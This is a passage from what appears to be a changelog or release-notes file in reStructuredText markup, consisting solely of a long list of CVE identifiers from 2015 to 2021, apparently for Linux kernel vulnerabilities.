:cve:`2015-4167`, :cve:`2015-4170`, :cve:`2015-4176`, :cve:`2015-4177`, :cve:`2015-4178`, :cve:`2015-4692`, :cve:`2015-4700`, :cve:`2015-5156`, :cve:`2015-5157`, :cve:`2015-5257`, :cve:`2015-5283`, :cve:`2015-5307`, :cve:`2015-5327`, :cve:`2015-5364`, :cve:`2015-5366`, :cve:`2015-5697`, :cve:`2015-5706`, :cve:`2015-5707`, :cve:`2015-6252`, :cve:`2015-6526`, :cve:`2015-6937`, :cve:`2015-7509`, :cve:`2015-7513`, :cve:`2015-7515`, :cve:`2015-7550`, :cve:`2015-7566`, :cve:`2015-7613`, :cve:`2015-7799`, :cve:`2015-7833`, :cve:`2015-7872`, :cve:`2015-7884`, :cve:`2015-7885`, :cve:`2015-7990`, :cve:`2015-8104`, :cve:`2015-8215`, :cve:`2015-8324`, :cve:`2015-8374`, :cve:`2015-8539`, :cve:`2015-8543`, :cve:`2015-8550`, :cve:`2015-8551`, :cve:`2015-8552`, :cve:`2015-8553`, :cve:`2015-8569`, :cve:`2015-8575`, :cve:`2015-8660`, :cve:`2015-8709`, :cve:`2015-8746`, :cve:`2015-8767`, :cve:`2015-8785`, :cve:`2015-8787`, :cve:`2015-8812`, :cve:`2015-8816`, :cve:`2015-8830`, :cve:`2015-8839`, :cve:`2015-8844`, :cve:`2015-8845`, :cve:`2015-8950`, :cve:`2015-8952`, :cve:`2015-8953`, :cve:`2015-8955`, :cve:`2015-8956`, :cve:`2015-8961`, :cve:`2015-8962`, :cve:`2015-8963`, :cve:`2015-8964`, :cve:`2015-8966`, :cve:`2015-8967`, :cve:`2015-8970`, :cve:`2015-9004`, :cve:`2015-9016`, :cve:`2015-9289`, :cve:`2016-0617`, :cve:`2016-0723`, :cve:`2016-0728`, :cve:`2016-0758`, :cve:`2016-0821`, :cve:`2016-0823`, :cve:`2016-10044`, :cve:`2016-10088`, :cve:`2016-10147`, :cve:`2016-10150`, :cve:`2016-10153`, :cve:`2016-10154`, :cve:`2016-10200`, :cve:`2016-10208`, :cve:`2016-10229`, :cve:`2016-10318`, :cve:`2016-10723`, :cve:`2016-10741`, :cve:`2016-10764`, :cve:`2016-10905`, :cve:`2016-10906`, :cve:`2016-10907`, :cve:`2016-1237`, :cve:`2016-1575`, :cve:`2016-1576`, :cve:`2016-1583`, :cve:`2016-2053`, :cve:`2016-2069`, :cve:`2016-2070`, :cve:`2016-2085`, :cve:`2016-2117`, :cve:`2016-2143`, :cve:`2016-2184`, :cve:`2016-2185`, :cve:`2016-2186`, :cve:`2016-2187`, :cve:`2016-2188`, :cve:`2016-2383`, :cve:`2016-2384`, :cve:`2016-2543`, :cve:`2016-2544`, :cve:`2016-2545`, :cve:`2016-2546`, :cve:`2016-2547`, :cve:`2016-2548`, :cve:`2016-2549`, :cve:`2016-2550`, :cve:`2016-2782`, :cve:`2016-2847`, :cve:`2016-3044`, :cve:`2016-3070`, :cve:`2016-3134`, :cve:`2016-3135`, :cve:`2016-3136`, :cve:`2016-3137`, :cve:`2016-3138`, :cve:`2016-3139`, :cve:`2016-3140`, :cve:`2016-3156`, :cve:`2016-3157`, :cve:`2016-3672`, :cve:`2016-3689`, :cve:`2016-3713`, :cve:`2016-3841`, :cve:`2016-3857`, :cve:`2016-3951`, :cve:`2016-3955`, :cve:`2016-3961`, :cve:`2016-4440`, :cve:`2016-4470`, :cve:`2016-4482`, :cve:`2016-4485`, :cve:`2016-4486`, :cve:`2016-4557`, :cve:`2016-4558`, :cve:`2016-4565`, :cve:`2016-4568`, :cve:`2016-4569`, :cve:`2016-4578`, :cve:`2016-4580`, :cve:`2016-4581`, :cve:`2016-4794`, :cve:`2016-4805`, :cve:`2016-4913`, :cve:`2016-4951`, :cve:`2016-4997`, :cve:`2016-4998`, :cve:`2016-5195`, :cve:`2016-5243`, :cve:`2016-5244`, :cve:`2016-5400`, :cve:`2016-5412`, :cve:`2016-5696`, :cve:`2016-5728`, :cve:`2016-5828`, :cve:`2016-5829`, :cve:`2016-6130`, :cve:`2016-6136`, :cve:`2016-6156`, :cve:`2016-6162`, :cve:`2016-6187`, :cve:`2016-6197`, :cve:`2016-6198`, :cve:`2016-6213`, :cve:`2016-6327`, :cve:`2016-6480`, :cve:`2016-6516`, :cve:`2016-6786`, :cve:`2016-6787`, :cve:`2016-6828`, :cve:`2016-7039`, :cve:`2016-7042`, :cve:`2016-7097`, :cve:`2016-7117`, :cve:`2016-7425`, :cve:`2016-7910`, :cve:`2016-7911`, :cve:`2016-7912`, :cve:`2016-7913`, :cve:`2016-7914`, :cve:`2016-7915`, :cve:`2016-7916`, :cve:`2016-7917`, :cve:`2016-8399`, :cve:`2016-8405`, :cve:`2016-8630`, :cve:`2016-8632`, :cve:`2016-8633`, :cve:`2016-8636`, :cve:`2016-8645`, :cve:`2016-8646`, :cve:`2016-8650`, :cve:`2016-8655`, :cve:`2016-8658`, :cve:`2016-8666`, :cve:`2016-9083`, :cve:`2016-9084`, :cve:`2016-9120`, :cve:`2016-9178`, :cve:`2016-9191`, :cve:`2016-9313`, :cve:`2016-9555`, :cve:`2016-9576`, :cve:`2016-9588`, :cve:`2016-9604`, :cve:`2016-9685`, :cve:`2016-9754`, :cve:`2016-9755`, :cve:`2016-9756`, :cve:`2016-9777`, :cve:`2016-9793`, :cve:`2016-9794`, :cve:`2016-9806`, :cve:`2016-9919`, :cve:`2017-0605`, :cve:`2017-0627`, :cve:`2017-0750`, :cve:`2017-0786`, :cve:`2017-0861`, :cve:`2017-1000`, :cve:`2017-1000111`, :cve:`2017-1000112`, :cve:`2017-1000251`, :cve:`2017-1000252`, :cve:`2017-1000253`, :cve:`2017-1000255`, :cve:`2017-1000363`, :cve:`2017-1000364`, :cve:`2017-1000365`, :cve:`2017-1000370`, :cve:`2017-1000371`, :cve:`2017-1000379`, :cve:`2017-1000380`, :cve:`2017-1000405`, :cve:`2017-1000407`, :cve:`2017-1000410`, :cve:`2017-10661`, :cve:`2017-10662`, :cve:`2017-10663`, :cve:`2017-10810`, :cve:`2017-10911`, :cve:`2017-11089`, :cve:`2017-11176`, :cve:`2017-11472`, :cve:`2017-11473`, :cve:`2017-11600`, :cve:`2017-12134`, :cve:`2017-12146`, :cve:`2017-12153`, :cve:`2017-12154`, :cve:`2017-12168`, :cve:`2017-12188`, :cve:`2017-12190`, :cve:`2017-12192`, :cve:`2017-12193`, :cve:`2017-12762`, :cve:`2017-13080`, :cve:`2017-13166`, :cve:`2017-13167`, :cve:`2017-13168`, :cve:`2017-13215`, :cve:`2017-13216`, :cve:`2017-13220`, :cve:`2017-13305`, :cve:`2017-13686`, :cve:`2017-13695`, :cve:`2017-13715`, :cve:`2017-14051`, :cve:`2017-14106`, :cve:`2017-14140`, :cve:`2017-14156`, :cve:`2017-14340`, :cve:`2017-14489`, :cve:`2017-14497`, :cve:`2017-14954`, :cve:`2017-14991`, :cve:`2017-15102`, :cve:`2017-15115`, :cve:`2017-15116`, :cve:`2017-15121`, :cve:`2017-15126`, :cve:`2017-15127`, :cve:`2017-15128`, :cve:`2017-15129`, :cve:`2017-15265`, :cve:`2017-15274`, :cve:`2017-15299`, :cve:`2017-15306`, :cve:`2017-15537`, :cve:`2017-15649`, :cve:`2017-15868`, :cve:`2017-15951`, :cve:`2017-16525`, :cve:`2017-16526`, :cve:`2017-16527`, :cve:`2017-16528`, :cve:`2017-16529`, :cve:`2017-16530`, :cve:`2017-16531`, :cve:`2017-16532`, :cve:`2017-16533`, :cve:`2017-16534`, :cve:`2017-16535`, :cve:`2017-16536`, :cve:`2017-16537`, :cve:`2017-16538`, :cve:`2017-16643`, :cve:`2017-16644`, :cve:`2017-16645`, :cve:`2017-16646`, :cve:`2017-16647`, :cve:`2017-16648`, :cve:`2017-16649`, :cve:`2017-16650`, :cve:`2017-16911`, :cve:`2017-16912`, :cve:`2017-16913`, :cve:`2017-16914`, :cve:`2017-16939`, :cve:`2017-16994`, :cve:`2017-16995`, :cve:`2017-16996`, :cve:`2017-17052`, :cve:`2017-17053`, :cve:`2017-17448`, :cve:`2017-17449`, :cve:`2017-17450`, :cve:`2017-17558`, :cve:`2017-17712`, :cve:`2017-17741`, :cve:`2017-17805`, :cve:`2017-17806`, :cve:`2017-17807`, :cve:`2017-17852`, :cve:`2017-17853`, :cve:`2017-17854`, :cve:`2017-17855`, :cve:`2017-17856`, :cve:`2017-17857`, :cve:`2017-17862`, :cve:`2017-17863`, :cve:`2017-17864`, :cve:`2017-17975`, :cve:`2017-18017`, :cve:`2017-18075`, :cve:`2017-18079`, :cve:`2017-18174`, :cve:`2017-18193`, :cve:`2017-18200`, :cve:`2017-18202`, :cve:`2017-18203`, :cve:`2017-18204`, :cve:`2017-18208`, :cve:`2017-18216`, :cve:`2017-18218`, :cve:`2017-18221`, :cve:`2017-18222`, :cve:`2017-18224`, :cve:`2017-18232`, :cve:`2017-18241`, :cve:`2017-18249`, :cve:`2017-18255`, :cve:`2017-18257`, :cve:`2017-18261`, :cve:`2017-18270`, :cve:`2017-18344`, :cve:`2017-18360`, :cve:`2017-18379`, :cve:`2017-18509`, :cve:`2017-18549`, :cve:`2017-18550`, :cve:`2017-18551`, :cve:`2017-18552`, :cve:`2017-18595`, :cve:`2017-2583`, :cve:`2017-2584`, :cve:`2017-2596`, :cve:`2017-2618`, :cve:`2017-2634`, :cve:`2017-2636`, :cve:`2017-2647`, :cve:`2017-2671`, :cve:`2017-5123`, :cve:`2017-5546`, :cve:`2017-5547`, :cve:`2017-5548`, :cve:`2017-5549`, :cve:`2017-5550`, :cve:`2017-5551`, :cve:`2017-5576`, :cve:`2017-5577`, :cve:`2017-5669`, :cve:`2017-5715`, :cve:`2017-5753`, :cve:`2017-5754`, :cve:`2017-5897`, :cve:`2017-5967`, :cve:`2017-5970`, :cve:`2017-5972`, :cve:`2017-5986`, :cve:`2017-6001`, :cve:`2017-6074`, :cve:`2017-6214`, :cve:`2017-6345`, :cve:`2017-6346`, :cve:`2017-6347`, :cve:`2017-6348`, :cve:`2017-6353`, :cve:`2017-6874`, :cve:`2017-6951`, :cve:`2017-7184`, :cve:`2017-7187`, :cve:`2017-7261`, :cve:`2017-7273`, :cve:`2017-7277`, :cve:`2017-7294`, :cve:`2017-7308`, :cve:`2017-7346`, :cve:`2017-7374`, :cve:`2017-7472`, :cve:`2017-7477`, :cve:`2017-7482`, :cve:`2017-7487`, :cve:`2017-7495`, :cve:`2017-7518`, :cve:`2017-7533`, :cve:`2017-7541`, :cve:`2017-7542`, :cve:`2017-7558`, :cve:`2017-7616`, :cve:`2017-7618`, :cve:`2017-7645`, :cve:`2017-7889`, :cve:`2017-7895`, :cve:`2017-7979`, :cve:`2017-8061`, :cve:`2017-8062`, :cve:`2017-8063`, :cve:`2017-8064`, :cve:`2017-8065`, :cve:`2017-8066`, :cve:`2017-8067`, :cve:`2017-8068`, :cve:`2017-8069`, :cve:`2017-8070`, :cve:`2017-8071`, :cve:`2017-8072`, :cve:`2017-8106`, :cve:`2017-8240`, :cve:`2017-8797`, :cve:`2017-8824`, :cve:`2017-8831`, :cve:`2017-8890`, :cve:`2017-8924`, :cve:`2017-8925`, :cve:`2017-9059`, :cve:`2017-9074`, :cve:`2017-9075`, :cve:`2017-9076`, :cve:`2017-9077`, :cve:`2017-9150`, :cve:`2017-9211`, :cve:`2017-9242`, :cve:`2017-9605`, :cve:`2017-9725`, :cve:`2017-9984`, :cve:`2017-9985`, :cve:`2017-9986`, :cve:`2018-1000004`, :cve:`2018-1000026`, :cve:`2018-1000028`, :cve:`2018-1000199`, :cve:`2018-1000200`, :cve:`2018-1000204`, :cve:`2018-10021`, :cve:`2018-10074`, :cve:`2018-10087`, :cve:`2018-10124`, :cve:`2018-10322`, :cve:`2018-10323`, :cve:`2018-1065`, :cve:`2018-1066`, :cve:`2018-10675`, :cve:`2018-1068`, :cve:`2018-10840`, :cve:`2018-10853`, :cve:`2018-1087`, :cve:`2018-10876`, :cve:`2018-10877`, :cve:`2018-10878`, :cve:`2018-10879`, :cve:`2018-10880`, :cve:`2018-10881`, :cve:`2018-10882`, :cve:`2018-10883`, :cve:`2018-10901`, :cve:`2018-10902`, :cve:`2018-1091`, :cve:`2018-1092`, :cve:`2018-1093`, :cve:`2018-10938`, :cve:`2018-1094`, :cve:`2018-10940`, :cve:`2018-1095`, :cve:`2018-1108`, :cve:`2018-1118`, :cve:`2018-1120`, :cve:`2018-11232`, :cve:`2018-1128`, :cve:`2018-1129`, :cve:`2018-1130`, :cve:`2018-11412`, :cve:`2018-11506`, :cve:`2018-11508`, :cve:`2018-12126`, :cve:`2018-12127`, :cve:`2018-12130`, :cve:`2018-12207`, :cve:`2018-12232`, :cve:`2018-12233`, :cve:`2018-12633`, :cve:`2018-12714`, :cve:`2018-12896`, :cve:`2018-12904`, :cve:`2018-13053`, :cve:`2018-13093`, :cve:`2018-13094`, :cve:`2018-13095`, :cve:`2018-13096`, :cve:`2018-13097`, :cve:`2018-13098`, :cve:`2018-13099`, :cve:`2018-13100`, :cve:`2018-13405`, :cve:`2018-13406`, :cve:`2018-14609`, :cve:`2018-14610`, :cve:`2018-14611`, :cve:`2018-14612`, :cve:`2018-14613`, :cve:`2018-14614`, :cve:`2018-14615`, :cve:`2018-14616`, :cve:`2018-14617`, :cve:`2018-14619`, :cve:`2018-14625`, :cve:`2018-14633`, :cve:`2018-14634`, :cve:`2018-14641`, :cve:`2018-14646`, :cve:`2018-14656`, :cve:`2018-14678`, :cve:`2018-14734`, :cve:`2018-15471`, :cve:`2018-15572`, :cve:`2018-15594`, :cve:`2018-16276`, :cve:`2018-16597`, :cve:`2018-16658`, :cve:`2018-16862`, :cve:`2018-16871`, :cve:`2018-16880`, :cve:`2018-16882`, :cve:`2018-16884`, :cve:`2018-17182`, :cve:`2018-17972`, :cve:`2018-18021`, :cve:`2018-18281`, :cve:`2018-18386`, :cve:`2018-18397`, :cve:`2018-18445`, :cve:`2018-18559`, :cve:`2018-18690`, :cve:`2018-18710`, :cve:`2018-18955`, :cve:`2018-19406`, :cve:`2018-19407`, :cve:`2018-19824`, :cve:`2018-19854`, :cve:`2018-19985`, :cve:`2018-20169`, :cve:`2018-20449`, :cve:`2018-20509`, :cve:`2018-20510`, :cve:`2018-20511`, :cve:`2018-20669`, :cve:`2018-20784`, :cve:`2018-20836`, :cve:`2018-20854`, :cve:`2018-20855`, :cve:`2018-20856`, :cve:`2018-20961`, :cve:`2018-20976`, :cve:`2018-21008`, :cve:`2018-25015`, :cve:`2018-25020`, :cve:`2018-3620`, :cve:`2018-3639`, :cve:`2018-3646`, :cve:`2018-3665`, :cve:`2018-3693`, :cve:`2018-5332`, :cve:`2018-5333`, :cve:`2018-5344`, :cve:`2018-5390`, :cve:`2018-5391`, :cve:`2018-5703`, :cve:`2018-5750`, :cve:`2018-5803`, :cve:`2018-5814`, :cve:`2018-5848`, :cve:`2018-5873`, :cve:`2018-5953`, :cve:`2018-5995`, :cve:`2018-6412`, :cve:`2018-6554`, :cve:`2018-6555`, :cve:`2018-6927`, :cve:`2018-7191`, :cve:`2018-7273`, :cve:`2018-7480`, :cve:`2018-7492`, :cve:`2018-7566`, :cve:`2018-7740`, :cve:`2018-7754`, :cve:`2018-7755`, :cve:`2018-7757`, :cve:`2018-7995`, :cve:`2018-8043`, :cve:`2018-8087`, :cve:`2018-8781`, :cve:`2018-8822`, :cve:`2018-8897`, :cve:`2018-9363`, :cve:`2018-9385`, :cve:`2018-9415`, :cve:`2018-9422`, :cve:`2018-9465`, :cve:`2018-9516`, :cve:`2018-9517`, :cve:`2018-9518`, :cve:`2018-9568`, :cve:`2019-0136`, :cve:`2019-0145`, :cve:`2019-0146`, :cve:`2019-0147`, :cve:`2019-0148`, :cve:`2019-0149`, :cve:`2019-0154`, :cve:`2019-0155`, :cve:`2019-10124`, :cve:`2019-10125`, :cve:`2019-10126`, :cve:`2019-10142`, :cve:`2019-10207`, :cve:`2019-10220`, :cve:`2019-10638`, :cve:`2019-10639`, :cve:`2019-11085`, :cve:`2019-11091`, :cve:`2019-11135`, :cve:`2019-11190`, :cve:`2019-11191`, :cve:`2019-1125`, :cve:`2019-11477`, :cve:`2019-11478`, :cve:`2019-11479`, :cve:`2019-11486`, :cve:`2019-11487`, :cve:`2019-11599`, :cve:`2019-11683`, :cve:`2019-11810`, :cve:`2019-11811`, :cve:`2019-11815`, :cve:`2019-11833`, :cve:`2019-11884`, :cve:`2019-12378`, :cve:`2019-12379`, :cve:`2019-12380`, :cve:`2019-12381`, :cve:`2019-12382`, :cve:`2019-12454`, :cve:`2019-12455`, :cve:`2019-12614`, :cve:`2019-12615`, :cve:`2019-12817`, :cve:`2019-12818`, :cve:`2019-12819`, :cve:`2019-12881`, :cve:`2019-12984`, :cve:`2019-13233`, :cve:`2019-13272`, :cve:`2019-13631`, :cve:`2019-13648`, :cve:`2019-14283`, :cve:`2019-14284`, :cve:`2019-14615`, :cve:`2019-14763`, :cve:`2019-14814`, :cve:`2019-14815`, :cve:`2019-14816`, :cve:`2019-14821`, :cve:`2019-14835`, :cve:`2019-14895`, :cve:`2019-14896`, :cve:`2019-14897`, :cve:`2019-14901`, :cve:`2019-15030`, :cve:`2019-15031`, :cve:`2019-15090`, :cve:`2019-15098`, :cve:`2019-15099`, :cve:`2019-15117`, :cve:`2019-15118`, :cve:`2019-15211`, :cve:`2019-15212`, :cve:`2019-15213`, :cve:`2019-15214`, :cve:`2019-15215`, :cve:`2019-15216`, :cve:`2019-15217`, :cve:`2019-15218`, :cve:`2019-15219`, :cve:`2019-15220`, :cve:`2019-15221`, :cve:`2019-15222`, :cve:`2019-15223`, :cve:`2019-15291`, :cve:`2019-15292`, :cve:`2019-15504`, :cve:`2019-15505`, :cve:`2019-15538`, :cve:`2019-15666`, :cve:`2019-15807`, :cve:`2019-15916`, :cve:`2019-15917`, :cve:`2019-15918`, :cve:`2019-15919`, :cve:`2019-15920`, :cve:`2019-15921`, :cve:`2019-15922`, :cve:`2019-15923`, :cve:`2019-15924`, :cve:`2019-15925`, :cve:`2019-15926`, :cve:`2019-15927`, :cve:`2019-16229`, :cve:`2019-16230`, :cve:`2019-16231`, :cve:`2019-16232`, :cve:`2019-16233`, :cve:`2019-16234`, :cve:`2019-16413`, :cve:`2019-16714`, :cve:`2019-16746`, :cve:`2019-16921`, :cve:`2019-16994`, :cve:`2019-16995`, :cve:`2019-17052`, :cve:`2019-17053`, :cve:`2019-17054`, :cve:`2019-17055`, :cve:`2019-17056`, :cve:`2019-17075`, :cve:`2019-17133`, :cve:`2019-17351`, :cve:`2019-17666`, :cve:`2019-18198`, :cve:`2019-18282`, :cve:`2019-18660`, :cve:`2019-18675`, :cve:`2019-18683`, :cve:`2019-18786`, :cve:`2019-18805`, :cve:`2019-18806`, :cve:`2019-18807`, :cve:`2019-18808`, :cve:`2019-18809`, :cve:`2019-18810`, :cve:`2019-18811`, :cve:`2019-18812`, :cve:`2019-18813`, :cve:`2019-18814`, :cve:`2019-18885`, :cve:`2019-19036`, :cve:`2019-19037`, :cve:`2019-19039`, :cve:`2019-19043`, :cve:`2019-19044`, :cve:`2019-19045`, :cve:`2019-19046`, :cve:`2019-19047`, :cve:`2019-19048`, :cve:`2019-19049`, :cve:`2019-19050`, :cve:`2019-19051`, :cve:`2019-19052`, :cve:`2019-19053`, :cve:`2019-19054`, :cve:`2019-19055`, :cve:`2019-19056`, :cve:`2019-19057`, :cve:`2019-19058`, :cve:`2019-19059`, :cve:`2019-19060`, :cve:`2019-19061`, :cve:`2019-19062`, :cve:`2019-19063`, :cve:`2019-19064`, :cve:`2019-19065`, :cve:`2019-19066`, :cve:`2019-19067`, :cve:`2019-19068`, :cve:`2019-19069`, :cve:`2019-19070`, :cve:`2019-19071`, :cve:`2019-19072`, :cve:`2019-19073`, :cve:`2019-19074`, :cve:`2019-19075`, :cve:`2019-19076`, :cve:`2019-19077`, :cve:`2019-19078`, :cve:`2019-19079`, :cve:`2019-19080`, :cve:`2019-19081`, :cve:`2019-19082`, :cve:`2019-19083`, :cve:`2019-19227`, :cve:`2019-19241`, :cve:`2019-19252`, :cve:`2019-19318`, :cve:`2019-19319`, :cve:`2019-19332`, :cve:`2019-19338`, :cve:`2019-19377`, :cve:`2019-19447`, :cve:`2019-19448`, :cve:`2019-19449`, :cve:`2019-19462`, :cve:`2019-19523`, :cve:`2019-19524`, :cve:`2019-19525`, :cve:`2019-19526`, :cve:`2019-19527`, :cve:`2019-19528`, :cve:`2019-19529`, :cve:`2019-19530`, :cve:`2019-19531`, :cve:`2019-19532`, :cve:`2019-19533`, :cve:`2019-19534`, :cve:`2019-19535`, :cve:`2019-19536`, :cve:`2019-19537`, :cve:`2019-19543`, :cve:`2019-19602`, :cve:`2019-19767`, :cve:`2019-19768`, :cve:`2019-19769`, :cve:`2019-19770`, :cve:`2019-19807`, :cve:`2019-19813`, :cve:`2019-19815`, :cve:`2019-19816`, :cve:`2019-19922`, :cve:`2019-19927`, :cve:`2019-19947`, :cve:`2019-19965`, :cve:`2019-19966`, :cve:`2019-1999`, :cve:`2019-20054`, :cve:`2019-20095`, :cve:`2019-20096`, :cve:`2019-2024`, :cve:`2019-2025`, :cve:`2019-20422`, :cve:`2019-2054`, :cve:`2019-20636`, :cve:`2019-20806`, :cve:`2019-20810`, :cve:`2019-20811`, :cve:`2019-20812`, :cve:`2019-20908`, :cve:`2019-20934`, :cve:`2019-2101`, :cve:`2019-2181`, :cve:`2019-2182`, :cve:`2019-2213`, :cve:`2019-2214`, :cve:`2019-2215`, :cve:`2019-25044`, :cve:`2019-25045`, :cve:`2019-3016`, :cve:`2019-3459`, :cve:`2019-3460`, :cve:`2019-3701`, :cve:`2019-3819`, :cve:`2019-3837`, :cve:`2019-3846`, :cve:`2019-3874`, :cve:`2019-3882`, :cve:`2019-3887`, :cve:`2019-3892`, :cve:`2019-3896`, :cve:`2019-3900`, :cve:`2019-3901`, :cve:`2019-5108`, :cve:`2019-6133`, :cve:`2019-6974`, :cve:`2019-7221`, :cve:`2019-7222`, :cve:`2019-7308`, :cve:`2019-8912`, :cve:`2019-8956`, :cve:`2019-8980`, :cve:`2019-9003`, :cve:`2019-9162`, :cve:`2019-9213`, :cve:`2019-9245`, :cve:`2019-9444`, :cve:`2019-9445`, :cve:`2019-9453`, :cve:`2019-9454`, :cve:`2019-9455`, :cve:`2019-9456`, :cve:`2019-9457`, :cve:`2019-9458`, :cve:`2019-9466`, :cve:`2019-9500`, :cve:`2019-9503`, :cve:`2019-9506`, :cve:`2019-9857`, :cve:`2020-0009`, :cve:`2020-0030`, :cve:`2020-0041`, :cve:`2020-0066`, :cve:`2020-0067`, :cve:`2020-0110`, :cve:`2020-0255`, :cve:`2020-0305`, :cve:`2020-0404`, :cve:`2020-0423`, :cve:`2020-0427`, :cve:`2020-0429`, :cve:`2020-0430`, :cve:`2020-0431`, :cve:`2020-0432`, :cve:`2020-0433`, :cve:`2020-0435`, :cve:`2020-0444`, :cve:`2020-0465`, :cve:`2020-0466`, :cve:`2020-0543`, :cve:`2020-10135`, :cve:`2020-10690`, :cve:`2020-10711`, :cve:`2020-10720`, :cve:`2020-10732`, :cve:`2020-10742`, :cve:`2020-10751`, :cve:`2020-10757`, :cve:`2020-10766`, :cve:`2020-10767`, :cve:`2020-10768`, :cve:`2020-10769`, :cve:`2020-10773`, :cve:`2020-10781`, :cve:`2020-10942`, :cve:`2020-11494`, :cve:`2020-11565`, :cve:`2020-11608`, :cve:`2020-11609`, :cve:`2020-11668`, :cve:`2020-11669`, :cve:`2020-11884`, :cve:`2020-12114`, :cve:`2020-12351`, :cve:`2020-12352`, :cve:`2020-12464`, :cve:`2020-12465`, :cve:`2020-12652`, :cve:`2020-12653`, :cve:`2020-12654`, :cve:`2020-12655`, :cve:`2020-12656`, :cve:`2020-12657`, :cve:`2020-12659`, :cve:`2020-12768`, :cve:`2020-12769`, :cve:`2020-12770`, :cve:`2020-12771`, :cve:`2020-12826`, :cve:`2020-12888`, :cve:`2020-12912`, :cve:`2020-13143`, :cve:`2020-13974`, :cve:`2020-14305`, :cve:`2020-14314`, :cve:`2020-14331`, :cve:`2020-14351`, :cve:`2020-14353`, :cve:`2020-14356`, :cve:`2020-14381`, :cve:`2020-14385`, :cve:`2020-14386`, :cve:`2020-14390`, :cve:`2020-14416`, :cve:`2020-15393`, :cve:`2020-15436`, :cve:`2020-15437`, :cve:`2020-15780`, :cve:`2020-15852`, :cve:`2020-16119`, :cve:`2020-16120`, :cve:`2020-16166`, :cve:`2020-1749`, :cve:`2020-24394`, :cve:`2020-24490`, :cve:`2020-24586`, :cve:`2020-24587`, :cve:`2020-24588`, :cve:`2020-25211`, :cve:`2020-25212`, :cve:`2020-25221`, :cve:`2020-25284`, :cve:`2020-25285`, :cve:`2020-25639`, :cve:`2020-25641`, :cve:`2020-25643`, :cve:`2020-25645`, :cve:`2020-25656`, :cve:`2020-25668`, :cve:`2020-25669`, :cve:`2020-25670`, :cve:`2020-25671`, :cve:`2020-25672`, :cve:`2020-25673`, :cve:`2020-25704`, :cve:`2020-25705`, :cve:`2020-26088`, :cve:`2020-26139`, :cve:`2020-26141`, :cve:`2020-26145`, :cve:`2020-26147`, :cve:`2020-26541`, :cve:`2020-26555`, :cve:`2020-26558`, :cve:`2020-27066`, :cve:`2020-27067`, :cve:`2020-27068`, :cve:`2020-27152`, :cve:`2020-27170`, :cve:`2020-27171`, :cve:`2020-27194`, :cve:`2020-2732`, :cve:`2020-27418`, :cve:`2020-27673`, :cve:`2020-27675`, :cve:`2020-27777`, :cve:`2020-27784`, :cve:`2020-27786`, :cve:`2020-27815`, :cve:`2020-27820`, :cve:`2020-27825`, :cve:`2020-27830`, :cve:`2020-27835`, :cve:`2020-28097`, :cve:`2020-28374`, :cve:`2020-28588`, :cve:`2020-28915`, :cve:`2020-28941`, :cve:`2020-28974`, :cve:`2020-29368`, :cve:`2020-29369`, :cve:`2020-29370`, :cve:`2020-29371`, :cve:`2020-29372`, :cve:`2020-29373`, :cve:`2020-29374`, :cve:`2020-29534`, :cve:`2020-29568`, :cve:`2020-29569`, :cve:`2020-29660`, :cve:`2020-29661`, :cve:`2020-35499`, :cve:`2020-35508`, :cve:`2020-35513`, :cve:`2020-35519`, :cve:`2020-36158`, :cve:`2020-36310`, :cve:`2020-36311`, :cve:`2020-36312`, :cve:`2020-36313`, :cve:`2020-36322`, :cve:`2020-36385`, :cve:`2020-36386`, :cve:`2020-36387`, :cve:`2020-36516`, :cve:`2020-36557`, :cve:`2020-36558`, :cve:`2020-36691`, :cve:`2020-36694`, :cve:`2020-36766`, :cve:`2020-3702`, :cve:`2020-4788`, :cve:`2020-7053`, :cve:`2020-8428`, :cve:`2020-8647`, :cve:`2020-8648`, :cve:`2020-8649`, :cve:`2020-8694`, :cve:`2020-8834`, :cve:`2020-8835`, :cve:`2020-8992`, :cve:`2020-9383`, :cve:`2020-9391`, :cve:`2021-0129`, :cve:`2021-0342`, :cve_mitre:`2021-0447`, :cve_mitre:`2021-0448`, :cve:`2021-0512`, :cve:`2021-0605`, :cve:`2021-0707`, :cve:`2021-0920`, :cve:`2021-0929`, :cve:`2021-0935`, :cve_mitre:`2021-0937`, :cve:`2021-0938`, :cve:`2021-0941`, :cve:`2021-1048`, :cve:`2021-20177`, :cve:`2021-20194`, :cve:`2021-20226`, :cve:`2021-20239`, :cve:`2021-20261`, :cve:`2021-20265`, :cve:`2021-20268`, :cve:`2021-20292`, :cve:`2021-20317`, :cve:`2021-20320`, :cve:`2021-20321`, :cve:`2021-20322`, :cve:`2021-21781`, :cve:`2021-22543`, :cve:`2021-22555`, :cve:`2021-22600`, :cve:`2021-23133`, :cve:`2021-23134`, :cve:`2021-26401`, :cve:`2021-26708`, :cve:`2021-26930`, :cve:`2021-26931`, :cve:`2021-26932`, :cve:`2021-27363`, :cve:`2021-27364`, :cve:`2021-27365`, :cve:`2021-28038`, :cve:`2021-28039`, :cve:`2021-28375`, :cve:`2021-28660`, :cve:`2021-28688`, :cve:`2021-28691`, :cve:`2021-28711`, :cve:`2021-28712`, :cve:`2021-28713`, :cve:`2021-28714`, :cve:`2021-28715`, :cve:`2021-28950`, :cve:`2021-28951`, :cve:`2021-28952`, :cve:`2021-28964`, :cve:`2021-28971`, :cve:`2021-28972`, :cve:`2021-29154`, :cve:`2021-29155`, :cve:`2021-29264`, :cve:`2021-29265`, :cve:`2021-29266`, :cve:`2021-29646`, :cve:`2021-29647`, :cve:`2021-29648`, :cve:`2021-29649`, :cve:`2021-29650`, :cve:`2021-29657`, :cve:`2021-30002`, :cve:`2021-30178`, :cve:`2021-31440`, :cve:`2021-3178`, :cve:`2021-31829`, :cve:`2021-31916`, :cve:`2021-32399`, :cve:`2021-32606`, :cve:`2021-33033`, :cve:`2021-33034`, :cve:`2021-33098`, :cve:`2021-33135`, :cve:`2021-33200`, :cve:`2021-3347`, :cve:`2021-3348`, :cve:`2021-33624`, :cve:`2021-33655`, :cve:`2021-33656`, :cve:`2021-33909`, :cve:`2021-3411`, :cve:`2021-3428`, :cve:`2021-3444`, :cve:`2021-34556`, :cve:`2021-34693`, :cve:`2021-3483`, :cve:`2021-34866`, :cve:`2021-3489`, :cve:`2021-3490`, :cve:`2021-3491`, :cve_mitre:`2021-34981`, :cve:`2021-3501`, :cve:`2021-35039`, :cve:`2021-3506`, :cve:`2021-3543`, :cve:`2021-35477`, :cve:`2021-3564`, :cve:`2021-3573`, :cve:`2021-3587`, :cve_mitre:`2021-3600`, :cve:`2021-3609`, :cve:`2021-3612`, :cve:`2021-3635`, :cve:`2021-3640`, :cve:`2021-3653`, :cve:`2021-3655`, :cve:`2021-3656`, :cve:`2021-3659`, :cve:`2021-3679`, :cve:`2021-3715`, 